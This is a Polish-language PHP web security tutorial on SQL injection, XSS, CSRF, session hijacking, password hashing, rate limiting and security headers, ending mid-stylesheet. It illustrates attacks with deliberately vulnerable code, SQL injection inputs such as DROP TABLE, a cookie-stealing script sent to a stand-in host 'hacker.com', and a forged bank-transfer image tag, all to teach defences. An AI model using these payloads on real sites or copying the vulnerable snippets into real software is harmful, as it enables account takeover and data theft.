Najczęstsze zagrożenia (OWASP Top 10):

• SQL Injection – wstrzykiwanie złośliwego kodu SQL
• XSS (Cross-Site Scripting) – wstrzykiwanie kodu JavaScript
• CSRF (Cross-Site Request Forgery) – fałszywe żądania
• Session Hijacking – kradzież sesji użytkownika
• Weak Authentication – słabe zabezpieczenia logowania

1. SQL Injection – Wstrzykiwanie kodu SQL

SQL Injection to atak polegający na wstawieniu złośliwego kodu SQL do zapytania, co pozwala:

• Wykraść całą bazę danych
• Usunąć wszystkie dane
• Zmienić hasła użytkowników
• Uzyskać dostęp administratora

Przykład ataku – Logowanie

Kod podatny na atak (NIGDY TAK NIE RÓB!):

<?php
//...
// NIEBEZPIECZNY KOD!
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($db, $query);

if (mysqli_num_rows($result) > 0) {
    echo "Zalogowano!";
}
?>

Co się stanie gdy haker wpisze:

Username: admin' OR '1'='1
Password: cokolwiek

Zapytanie SQL stanie się:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'cokolwiek'

'1'='1' jest zawsze prawdą, więc haker zostanie zalogowany jako admin bez znajomości hasła!

Inne przykłady ataków SQL Injection

1. Wyciągnięcie całej bazy danych:

Username: admin'; SELECT * FROM users; --

2. Usunięcie tabeli:

Username: admin'; DROP TABLE users; --

3. Dodanie admina:

Username: admin'; INSERT INTO users (username, password, role) VALUES ('hacker', 'hack123', 'admin'); --

Ochrona przed SQL Injection – Prepared Statements

MySQLi – Prepared Statements:

<?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    die('Błąd połączenia');
}

$db->set_charset('utf8mb4');

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    $username = trim($_POST['username'] ?? '');
    $password = $_POST['password'] ?? '';
    
    // BEZPIECZNE - Prepared Statement
    $stmt = $db->prepare("SELECT id, username, password FROM users WHERE username = ?");
    $stmt->bind_param("s", $username);
    $stmt->execute();
    $wynik = $stmt->get_result();
    $user = $wynik->fetch_assoc();
    $stmt->close();
    
    if ($user && password_verify($password, $user['password'])) {
        echo "Zalogowano pomyślnie!";
    } else {
        echo "Nieprawidłowy login lub hasło";
    }
}

$db->close();
?>

PDO – Prepared Statements:

<?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false
        ]
    );
    
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        
        $username = trim($_POST['username'] ?? '');
        $password = $_POST['password'] ?? '';
        
        // BEZPIECZNE - Prepared Statement
        $stmt = $pdo->prepare("SELECT id, username, password FROM users WHERE username = :username");
        $stmt->execute(['username' => $username]);
        $user = $stmt->fetch();
        
        if ($user && password_verify($password, $user['password'])) {
            echo "Zalogowano pomyślnie!";
        } else {
            echo "Nieprawidłowy login lub hasło";
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e->getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?>

Zasady ochrony przed SQL Injection:

• ZAWSZE używaj Prepared Statements
• Waliduj typy danych – rzutuj na (int) dla liczb
• Escapuj specjalne znaki – mysqli_real_escape_string() (ostateczność)
• NIGDY nie łącz SQL przez konkatenację z danymi użytkownika

2. XSS (Cross-Site Scripting) – Wstrzykiwanie JavaScript

XSS to atak polegający na wstrzyknięciu złośliwego kodu JavaScript do strony, który wykona się w przeglądarce innych użytkowników.

Skutki ataku XSS:

• Kradzież cookies i sesji
• Przekierowanie na fałszywe strony
• Zmiana treści strony
• Kradzież danych z formularzy

Przykład ataku XSS

Kod podatny na atak:

<?php
// NIEBEZPIECZNY KOD!
$username = $_GET['username'];
echo "Witaj, $username!";
?>

Haker wpisuje w URL:

strona.php?username=<script>alert('Hacked!')</script>

JavaScript się wykona i użytkownik zobaczy alert „Hacked!”.

Bardziej niebezpieczny przykład – Kradzież sesji

strona.php?username=<script>document.location='http://hacker.com/steal.php?cookie='+document.cookie</script>

Ten kod wysyła cookies użytkownika (w tym ID sesji) do hakera!

Ochrona przed XSS – htmlspecialchars()

<?php
// BEZPIECZNY KOD
$username = $_GET['username'] ?? 'Gość';

// Escapujemy specjalne znaki HTML
$safe_username = htmlspecialchars($username, ENT_QUOTES, 'UTF-8');

echo "Witaj, {$safe_username}!";
?>

Co robi htmlspecialchars()?

Zamienia:

• < na <
• > na >
• " na "
• ' na '
• & na &

Dzięki temu <script> staje się <script> i jest wyświetlane jako tekst, nie kod!

Przykład – Komentarze na blogu

<?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'blog');
$db->set_charset('utf8mb4');

// Dodawanie komentarza
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    $author = trim($_POST['author'] ?? '');
    $comment = trim($_POST['comment'] ?? '');
    
    if (!empty($author) && !empty($comment)) {
        
        // Zapisujemy RAW dane do bazy (NIE escapujemy przy zapisie!)
        $stmt = $db->prepare("INSERT INTO comments (author, comment, created_at) VALUES (?, ?, NOW())");
        $stmt->bind_param("ss", $author, $comment);
        
        if ($stmt->execute()) {
            header("Location: komentarze.php");
            exit;
        }
        
        $stmt->close();
    }
}

// Wyświetlanie komentarzy
$stmt = $db->prepare("SELECT * FROM comments ORDER BY created_at DESC LIMIT 10");
$stmt->execute();
$wynik = $stmt->get_result();
$komentarze = $wynik->fetch_all(MYSQLI_ASSOC);
$stmt->close();
$db->close();
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Komentarze</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 800px;
            margin: 50px auto;
            padding: 20px;
        }
        .comment {
            background: #f4f4f4;
            padding: 15px;
            margin: 10px 0;
            border-radius: 5px;
            border-left: 4px solid #667eea;
        }
        .comment-author {
            font-weight: bold;
            color: #667eea;
        }
        .comment-text {
            margin-top: 10px;
            color: #333;
        }
        .form-group {
            margin-bottom: 15px;
        }
        input, textarea {
            width: 100%;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            padding: 10px 20px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
    </style>
</head>
<body>

<h1>Komentarze na blogu</h1>

<form method="POST">
    <div class="form-group">
        <input type="text" name="author" placeholder="Twoje imię" required>
    </div>
    <div class="form-group">
        <textarea name="comment" placeholder="Twój komentarz" rows="5" required></textarea>
    </div>
    <button type="submit">Dodaj komentarz</button>
</form>

<h2>Najnowsze komentarze:</h2>

<?php foreach ($komentarze as $koment): ?>
    <div class="comment">
        <div class="comment-author">
            <?= htmlspecialchars($koment['author']) ?>
        </div>
        <div class="comment-text">
            <?= nl2br(htmlspecialchars($koment['comment'])) ?>
        </div>
        <small><?= date('d.m.Y H:i', strtotime($koment['created_at'])) ?></small>
    </div>
<?php endforeach; ?>

</body>
</html>

Zasady ochrony przed XSS:

• ZAWSZE używaj htmlspecialchars() przy wyświetlaniu danych od użytkownika
• Od PHP 8.1 htmlspecialchars($tekst) koduje też apostrofy i cudzysłowy (w starszych wersjach dodaj ENT_QUOTES, 'UTF-8').
• Ustaw charset na UTF-8
• Waliduj dane wejściowe (whitelist, nie blacklist)
• Użyj Content Security Policy (CSP) – o tym dalej

A tutaj można się sprawdzić: https://xss-game.appspot.com/

3. CSRF (Cross-Site Request Forgery) – Fałszywe żądania

CSRF to atak polegający na zmuszeniu zalogowanego użytkownika do wykonania nieautoryzowanej akcji.

Przykład ataku: Użytkownik jest zalogowany na bank.pl. Haker wysyła mu e-mail z linkiem:

<img src="http://bank.pl/transfer.php?to=hacker&amount=10000">

Gdy użytkownik otworzy e-mail, przeglądarka automatycznie wyśle żądanie do bank.pl z jego cookies/sesją, co wykona przelew!

Ochrona przed CSRF – Tokeny

• Przy wyświetleniu formularza generujemy unikalny token
• Token zapisujemy w sesji
• Token dodajemy jako ukryte pole w formularzu
• Przy odbiorze formularza sprawdzamy czy token się zgadza

Implementacja tokenów CSRF

<?php
session_start();

// Funkcja generująca token CSRF
function generateCSRFToken() {
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); // bezpieczny generator losowy
    }
    return $_SESSION['csrf_token'];
}

// Funkcja sprawdzająca token CSRF
function verifyCSRFToken($token) {
    if (!isset($_SESSION['csrf_token'])) {
        return false;
    }
    return hash_equals($_SESSION['csrf_token'], $token); //bezpieczne porównywanie (zapobiega timing attack)
}

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db->set_charset('utf8mb4');

$errors = [];
$success = false;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    // Sprawdź token CSRF
    $csrf_token = $_POST['csrf_token'] ?? '';
    
    if (!verifyCSRFToken($csrf_token)) {
        die('Nieprawidłowy token CSRF! Możliwa próba ataku.');
    }
    
    // Token poprawny - przetwarzamy formularz
    $username = trim($_POST['username'] ?? '');
    $email = trim($_POST['email'] ?? '');
    
    if (!empty($username) && !empty($email)) {
        
        $stmt = $db->prepare("INSERT INTO users (username, email, created_at) VALUES (?, ?, NOW())");
        $stmt->bind_param("ss", $username, $email);
        
        if ($stmt->execute()) {
            $success = true;
            
            // Usuń token po użyciu (jednorazowy)
            unset($_SESSION['csrf_token']);
        }
        
        $stmt->close();
    }
}

// Generuj nowy token dla formularza
$csrf_token = generateCSRFToken();

$db->close();
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Rejestracja z ochroną CSRF</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 600px;
            margin: 50px auto;
            padding: 20px;
        }
        .form-group {
            margin-bottom: 15px;
        }
        input {
            width: 100%;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            padding: 10px 20px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
    </style>
</head>
<body>

<h1>Rejestracja użytkownika</h1>

<?php if ($success): ?>
    <div class="success">
        Użytkownik został zarejestrowany pomyślnie!
    </div>
<?php endif; ?>

<form method="POST">
    <!-- Ukryty token CSRF -->
    <input type="hidden" name="csrf_token" value="<?= htmlspecialchars($csrf_token) ?>">
    
    <div class="form-group">
        <label>Username:</label>
        <input type="text" name="username" required>
    </div>
    
    <div class="form-group">
        <label>Email:</label>
        <input type="email" name="email" required>
    </div>
    
    <button type="submit">Zarejestruj</button>
</form>

<p><small>Token CSRF: <?= substr($csrf_token, 0, 16) ?>...</small></p>

</body>
</html>

Zasady ochrony przed CSRF:

• Używaj tokenów CSRF dla wszystkich formularzy zmieniających dane
• Token musi być unikalny i nieprzewidywalny
• Sprawdzaj token po stronie serwera
• Token powinien być przypisany do sesji użytkownika
• Używaj metody POST dla operacji zmieniających dane (nigdy GET!)

4. Session Hijacking i Session Fixation

Session Hijacking – Kradzież sesji

Czym jest? Przejęcie ID sesji innego użytkownika, co pozwala hakerowi zalogować się jako ten użytkownik.

• Haker przechwytuje ID sesji (przez XSS, packet sniffing, itp.)
• Ustawia to ID w swojej przeglądarce
• Serwer myśli, że to legalny użytkownik

Ochrona przed Session Hijacking

<?php
session_start();

// Funkcja regenerująca ID sesji
function secureSession() {
    
    // Regeneruj ID sesji przy każdym logowaniu
    if (!isset($_SESSION['initiated'])) {
        session_regenerate_id(true);
        $_SESSION['initiated'] = true;
    }
    
    // Sprawdź IP użytkownika
    if (!isset($_SESSION['user_ip'])) {
        $_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];
    } elseif ($_SESSION['user_ip'] !== $_SERVER['REMOTE_ADDR']) {
        // IP się zmienił - możliwy atak!
        session_destroy();
        die('Sesja wygasła ze względów bezpieczeństwa');
    }
    
    // Sprawdź User Agent
    if (!isset($_SESSION['user_agent'])) {
        $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
    } elseif ($_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
        // User Agent się zmienił - możliwy atak!
        session_destroy();
        die('Sesja wygasła ze względów bezpieczeństwa');
    }
    
    // Timeout sesji (30 minut)
    if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > 1800)) {
        session_unset();
        session_destroy();
        header("Location: logowanie.php?timeout=1");
        exit;
    }
    $_SESSION['last_activity'] = time();
}

// Wywołaj przy każdym żądaniu
secureSession();
?>

Session Fixation – Narzucenie ID sesji

Czym jest? Haker narzuca swoje ID sesji ofierze, a gdy ofiara się zaloguje, haker również ma dostęp do konta.

Ochrona:

<?php
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    $username = trim($_POST['username'] ?? '');
    $password = $_POST['password'] ?? '';
    
    // Sprawdzenie użytkownika w bazie...
    // (kod z poprzednich przykładów)
    
    if ($user && password_verify($password, $user['password'])) {
        
        // REGENERUJ ID SESJI PRZY LOGOWANIU!
        session_regenerate_id(true);
        
        // Zapisz dane użytkownika
        $_SESSION['user_id'] = $user['id'];
        $_SESSION['username'] = $user['username'];
        $_SESSION['logged_in'] = true;
        
        // Zapisz fingerprint
        $_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];
        $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
        
        header("Location: panel.php");
        exit;
    }
}
?>

Bezpieczna konfiguracja sesji w php.ini

; Używaj tylko cookies (nie URL)
session.use_only_cookies = 1

; Niedostępne dla JavaScript
session.cookie_httponly = 1

; Tylko przez HTTPS (w produkcji)
session.cookie_secure = 1

; Ochrona przed CSRF
session.cookie_samesite = "Strict"

; Długość ID sesji
session.sid_length = 48

; Bezpieczny generator
session.sid_bits_per_character = 6

W PHP:

<?php
// Konfiguracja sesji
ini_set('session.use_only_cookies', 1);
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1); // Tylko dla HTTPS!
ini_set('session.cookie_samesite', 'Strict');

session_start();
?>

5. Password Hashing – Bezpieczne hasła

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    $username = trim($_POST['username'] ?? '');
    $password = $_POST['password'] ?? '';
    
    // Walidacja hasła
    if (strlen($password) < 8) {
        $errors[] = "Hasło musi mieć min. 8 znaków";
    }
    
    if (empty($errors)) {
        
        // Hashuj hasło (automatycznie używa bcrypt + salt)
        $password_hash = password_hash($password, PASSWORD_DEFAULT);
        
        // Zapisz hash do bazy
        $stmt = $db->prepare("INSERT INTO users (username, password) VALUES (?, ?)");
        $stmt->bind_param("ss", $username, $password_hash);
        $stmt->execute();
        $stmt->close();
    }
}
?>

Hash wygląda tak:

$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

• $2y$ – algorytm (bcrypt)
• 10 – cost (2^10 iteracji)
• Losowy salt + hash

Logowanie:

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    $username = trim($_POST['username'] ?? '');
    $password = $_POST['password'] ?? '';
    
    // Pobierz użytkownika z bazy
    $stmt = $db->prepare("SELECT id, username, password FROM users WHERE username = ?");
    $stmt->bind_param("s", $username);
    $stmt->execute();
    $wynik = $stmt->get_result();
    $user = $wynik->fetch_assoc();
    $stmt->close();
    
    // Sprawdź hasło
    if ($user && password_verify($password, $user['password'])) {
        
        // Sprawdź czy hash wymaga aktualizacji
        if (password_needs_rehash($user['password'], PASSWORD_DEFAULT)) {
            $new_hash = password_hash($password, PASSWORD_DEFAULT);
            
            $stmt_update = $db->prepare("UPDATE users SET password = ? WHERE id = ?");
            $stmt_update->bind_param("si", $new_hash, $user['id']);
            $stmt_update->execute();
            $stmt_update->close();
        }
        
        echo "Zalogowano pomyślnie!";
    } else {
        echo "Nieprawidłowy login lub hasło";
    }
}
?>

Zasady bezpiecznych haseł:

• Używaj password_hash() z PASSWORD_DEFAULT
• NIGDY nie używaj MD5 ani SHA1 do haseł!
• Wymagaj min. 8 znaków (lepiej 12+)
• Sprawdzaj siłę hasła (wielkie/małe litery, cyfry, znaki specjalne)
• Nie przechowuj podpowiedzi do hasła

6. Walidacja i sanityzacja danych

Walidacja – czy dane są poprawne?

<?php
$email = trim($_POST['email'] ?? '');
$age = (int)($_POST['age'] ?? 0);
$url = trim($_POST['url'] ?? '');

// Walidacja email
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    $errors[] = "Nieprawidłowy format email";
}

// Walidacja wieku
if ($age < 18 || $age > 120) {
    $errors[] = "Wiek musi być między 18 a 120";
}

// Walidacja URL
if (!filter_var($url, FILTER_VALIDATE_URL)) {
    $errors[] = "Nieprawidłowy format URL";
}

// Walidacja wyrażeniem regularnym
$username = trim($_POST['username'] ?? '');
if (!preg_match('/^[a-zA-Z0-9_]{3,20}$/', $username)) {
    $errors[] = "Username: 3-20 znaków, tylko litery, cyfry i podkreślnik";
}
?>

Sanityzacja – oczyszczanie danych

<?php
$text = $_POST['text'];

// Usuń białe znaki
$username = trim($_POST['username']);

// Sanityzacja email
$email = filter_var($_POST['email'], FILTER_SANITIZE_EMAIL);

// Sanityzacja URL
$url = filter_var($_POST['url'], FILTER_SANITIZE_URL);

// Sanityzacja liczby
$age = filter_var($_POST['age'], FILTER_SANITIZE_NUMBER_INT);

// Rzutowanie typu
$id = (int)$_GET['id'];
$price = (float)$_POST['price'];
$is_active = (bool)$_POST['active'];
?>

Whitelist vs Blacklist

Blacklist (ZŁE):

<?php
// Próba blokowania złych wartości - NIGDY nie złapiesz wszystkich!
$sort = $_GET['sort'];
if ($sort !== 'DROP' && $sort !== 'DELETE' && $sort !== 'UPDATE') {
    $query = "SELECT * FROM users ORDER BY $sort"; // NADAL NIEBEZPIECZNE!
}
?>

Whitelist (DOBRE):

<?php
// Lista dozwolonych wartości
$allowed_sort = ['username', 'email', 'created_at', 'level'];
$sort = $_GET['sort'] ?? 'username';

if (in_array($sort, $allowed_sort)) {
    $query = "SELECT * FROM users ORDER BY $sort"; // BEZPIECZNE
} else {
    $sort = 'username'; // Domyślna wartość
    $query = "SELECT * FROM users ORDER BY $sort";
}
?>

7. Rate Limiting – Ograniczanie prób logowania

Bez rate limiting haker może próbować tysięcy haseł w sekundę (brute force attack).

Implementacja prostego rate limitera

<?php
session_start();

function checkRateLimit($max_attempts = 5, $timeout = 300) {
    
    // Inicjalizacja countera
    if (!isset($_SESSION['login_attempts'])) {
        $_SESSION['login_attempts'] = 0;
        $_SESSION['first_attempt_time'] = time();
    }
    
    // Sprawdź czy timeout minął
    if (time() - $_SESSION['first_attempt_time'] > $timeout) {
        // Reset po timeout
        $_SESSION['login_attempts'] = 0;
        $_SESSION['first_attempt_time'] = time();
        unset($_SESSION['blocked_until']);
    }
    
    // Sprawdź czy zablokowany
    if (isset($_SESSION['blocked_until']) && time() < $_SESSION['blocked_until']) {
        $remaining = $_SESSION['blocked_until'] - time();
        $minutes = ceil($remaining / 60);
        return [
            'allowed' => false,
            'message' => "Za dużo prób logowania. Spróbuj ponownie za {$minutes} minut."
        ];
    }
    
    // Sprawdź liczbę prób
    if ($_SESSION['login_attempts'] >= $max_attempts) {
        // Zablokuj na 5 minut
        $_SESSION['blocked_until'] = time() + $timeout;
        return [
            'allowed' => false,
            'message' => "Za dużo prób logowania. Zablokowano na 5 minut."
        ];
    }
    
    return ['allowed' => true];
}

function incrementLoginAttempts() {
    $_SESSION['login_attempts']++;
}

function resetLoginAttempts() {
    $_SESSION['login_attempts'] = 0;
    unset($_SESSION['blocked_until']);
    unset($_SESSION['first_attempt_time']);
}

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db->set_charset('utf8mb4');

$errors = [];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    // Sprawdź rate limit
    $rate_limit = checkRateLimit();
    
    if (!$rate_limit['allowed']) {
        $errors[] = $rate_limit['message'];
    } else {
        
        $username = trim($_POST['username'] ?? '');
        $password = $_POST['password'] ?? '';
        
        if (!empty($username) && !empty($password)) {
            
            $stmt = $db->prepare("SELECT id, username, password FROM users WHERE username = ?");
            $stmt->bind_param("s", $username);
            $stmt->execute();
            $wynik = $stmt->get_result();
            $user = $wynik->fetch_assoc();
            $stmt->close();
            
            if ($user && password_verify($password, $user['password'])) {
                
                // Sukces - reset countera
                resetLoginAttempts();
                
                $_SESSION['user_id'] = $user['id'];
                $_SESSION['username'] = $user['username'];
                $_SESSION['logged_in'] = true;
                
                $db->close();
                
                header("Location: panel.php");
                exit;
                
            } else {
                // Niepowodzenie - zwiększ counter
                incrementLoginAttempts();
                $errors[] = "Nieprawidłowy login lub hasło";
            }
        }
    }
}

$db->close();

// Sprawdź ile pozostało prób
$attempts_left = 5 - ($_SESSION['login_attempts'] ?? 0);
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Logowanie z Rate Limiting</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 400px;
            margin: 50px auto;
            padding: 20px;
        }
        .form-group {
            margin-bottom: 15px;
        }
        input {
            width: 100%;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            width: 100%;
            padding: 10px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .warning {
            background: #fff3cd;
            color: #856404;
            padding: 10px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
    </style>
</head>
<body>

<h1>Logowanie</h1>

<?php if (!empty($errors)): ?>
    <div class="error">
        <?php foreach ($errors as $error): ?>
            <p><?= htmlspecialchars($error) ?></p>
        <?php endforeach; ?>
    </div>
<?php endif; ?>

<?php if ($attempts_left > 0 && $attempts_left < 5): ?>
    <div class="warning">
        Pozostało prób: <?= $attempts_left ?>
    </div>
<?php endif; ?>

<form method="POST">
    <div class="form-group">
        <input type="text" name="username" placeholder="Username" required>
    </div>
    <div class="form-group">
        <input type="password" name="password" placeholder="Hasło" required>
    </div>
    <button type="submit">Zaloguj</button>
</form>

</body>
</html>

8. Security Headers – Nagłówki bezpieczeństwa

Content Security Policy (CSP)

Zapobiega XSS poprzez kontrolowanie źródeł zasobów (skrypty, style, obrazy).

<?php
// Podstawowy CSP - tylko własne źródła
header("Content-Security-Policy: default-src 'self'");

// Bardziej szczegółowy
header("Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self' https://fonts.gstatic.com");
?>

X-Frame-Options

Zapobiega clickjacking (umieszczaniu strony w iframe).

<?php
// Zabroń umieszczania w iframe
header("X-Frame-Options: DENY");

// Lub tylko w tej samej domenie
header("X-Frame-Options: SAMEORIGIN");
?>

X-Content-Type-Options

Zapobiega MIME sniffing.

<?php
header("X-Content-Type-Options: nosniff");
?>

Strict-Transport-Security (HSTS)

Wymusza HTTPS.

<?php
// Wymuszaj HTTPS przez rok
header("Strict-Transport-Security: max-age=31536000; includeSubDomains");
?>

X-XSS-Protection – PRZESTARZAŁE

Zamiast tego nagłówka należy stosować politykę Content Security Policy (CSP) oraz poprawne kodowanie danych wyjściowych (output encoding).

Jak to się ustawiało?

Włączało wbudowaną ochronę przed XSS w przeglądarce.

<?php
header("X-XSS-Protection: 1; mode=block");
?>

Referrer-Policy

Kontroluje jak dużo informacji przekazywać w nagłówku Referer.

<?php
header("Referrer-Policy: strict-origin-when-cross-origin");
?>

Permissions-Policy

Kontroluje dostęp do API przeglądarki.

<?php
header("Permissions-Policy: geolocation=(), microphone=(), camera=()");
?>

Wszystkie nagłówki razem

<?php
function setSecurityHeaders() {
    // CSP
    header("Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;");
    
    // Clickjacking
    header("X-Frame-Options: SAMEORIGIN");
    
    // MIME sniffing
    header("X-Content-Type-Options: nosniff");
    
    // XSS Protection
    header("X-XSS-Protection: 1; mode=block");
    
    // HTTPS (tylko w produkcji!)
    // header("Strict-Transport-Security: max-age=31536000; includeSubDomains");
    
    // Referrer
    header("Referrer-Policy: strict-origin-when-cross-origin");
    
    // Permissions
    header("Permissions-Policy: geolocation=(), microphone=(), camera=()");
}

// Wywołaj na początku każdego skryptu
setSecurityHeaders();
?>

9. HTTPS i bezpieczne przesyłanie danych

Bez HTTPS:

• Hasła przesyłane w plain text
• Dane mogą być podsłuchiwane (Man-in-the-Middle attack)
• Dane mogą być modyfikowane w tranzycie

Wymuszanie HTTPS w PHP

<?php
// Sprawdź czy połączenie jest przez HTTPS
if (!isset($_SERVER['HTTPS']) || $_SERVER['HTTPS'] !== 'on') {
    // Przekieruj na HTTPS
    $redirect_url = "https://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    header("Location: $redirect_url", true, 301);
    exit;
}
?>

Wymuszanie HTTPS w .htaccess

# Przekieruj wszystko na HTTPS
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

10. Kompleksowy przykład – Bezpieczny system logowania

<?php
session_start();

// Security headers
header("Content-Security-Policy: default-src 'self'");
header("X-Frame-Options: SAMEORIGIN");
header("X-Content-Type-Options: nosniff");
header("X-XSS-Protection: 1; mode=block");

// Wymuszanie HTTPS (odkomentuj w produkcji)
// if (!isset($_SERVER['HTTPS']) || $_SERVER['HTTPS'] !== 'on') {
//     header("Location: https://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
//     exit;
// }

// Konfiguracja sesji
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 0); // Zmień na 1 w produkcji z HTTPS
ini_set('session.cookie_samesite', 'Strict');

// CSRF Token
function generateCSRFToken() {
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }
    return $_SESSION['csrf_token'];
}

function verifyCSRFToken($token) {
    return isset($_SESSION['csrf_token']) && hash_equals($_SESSION['csrf_token'], $token);
}

// Rate Limiting
function checkRateLimit() {
    if (!isset($_SESSION['login_attempts'])) {
        $_SESSION['login_attempts'] = 0;
        $_SESSION['first_attempt_time'] = time();
    }
    
    if (time() - $_SESSION['first_attempt_time'] > 300) {
        $_SESSION['login_attempts'] = 0;
        $_SESSION['first_attempt_time'] = time();
        unset($_SESSION['blocked_until']);
    }
    
    if (isset($_SESSION['blocked_until']) && time() < $_SESSION['blocked_until']) {
        return ['allowed' => false, 'message' => 'Za dużo prób. Zablokowano na 5 minut.'];
    }
    
    if ($_SESSION['login_attempts'] >= 5) {
        $_SESSION['blocked_until'] = time() + 300;
        return ['allowed' => false, 'message' => 'Za dużo prób. Zablokowano na 5 minut.'];
    }
    
    return ['allowed' => true];
}

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    error_log("Connection error: " . $db->connect_error);
    die('Błąd połączenia z bazą danych');
}

$db->set_charset('utf8mb4');

$errors = [];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    // Sprawdź CSRF token
    if (!verifyCSRFToken($_POST['csrf_token'] ?? '')) {
        die('Nieprawidłowy token CSRF');
    }
    
    // Sprawdź rate limit
    $rate_limit = checkRateLimit();
    if (!$rate_limit['allowed']) {
        $errors[] = $rate_limit['message'];
    } else {
        
        // Walidacja danych
        $username = trim($_POST['username'] ?? '');
        $password = $_POST['password'] ?? '';
        
        if (empty($username)) {
            $errors[] = "Username jest wymagany";
        }
        
        if (empty($password)) {
            $errors[] = "Hasło jest wymagane";
        }
        
        if (empty($errors)) {
            
            // Prepared statement - ochrona przed SQL Injection
            $stmt = $db->prepare("SELECT id, username, password FROM users WHERE username = ?");
            $stmt->bind_param("s", $username);
            $stmt->execute();
            $wynik = $stmt->get_result();
            $user = $wynik->fetch_assoc();
            $stmt->close();
            
            // Password verification
            if ($user && password_verify($password, $user['password'])) {
                
                // Sukces - reset rate limiter
                $_SESSION['login_attempts'] = 0;
                unset($_SESSION['blocked_until']);
                
                // Regeneruj ID sesji - ochrona przed Session Fixation
                session_regenerate_id(true);
                
                // Usuń stary CSRF token
                unset($_SESSION['csrf_token']);
                
                // Zapisz dane użytkownika
                $_SESSION['user_id'] = $user['id'];
                $_SESSION['username'] = $user['username'];
                $_SESSION['logged_in'] = true;
                $_SESSION['login_time'] = time();
                
                // Fingerprint sesji - ochrona przed Session Hijacking
                $_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];
                $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
                
                $db->close();
                
                header("Location: panel.php");
                exit;
                
            } else {
                // Niepowodzenie - zwiększ counter
                $_SESSION['login_attempts']++;
                $errors[] = "Nieprawidłowy username lub hasło";
            }
        }
    }
}

$db->close();

// Generuj token dla formularza
$csrf_token = generateCSRFToken();
$attempts_left = 5 - ($_SESSION['login_attempts'] ?? 0);
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Bezpieczne logowanie</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: Arial, sans-serif;
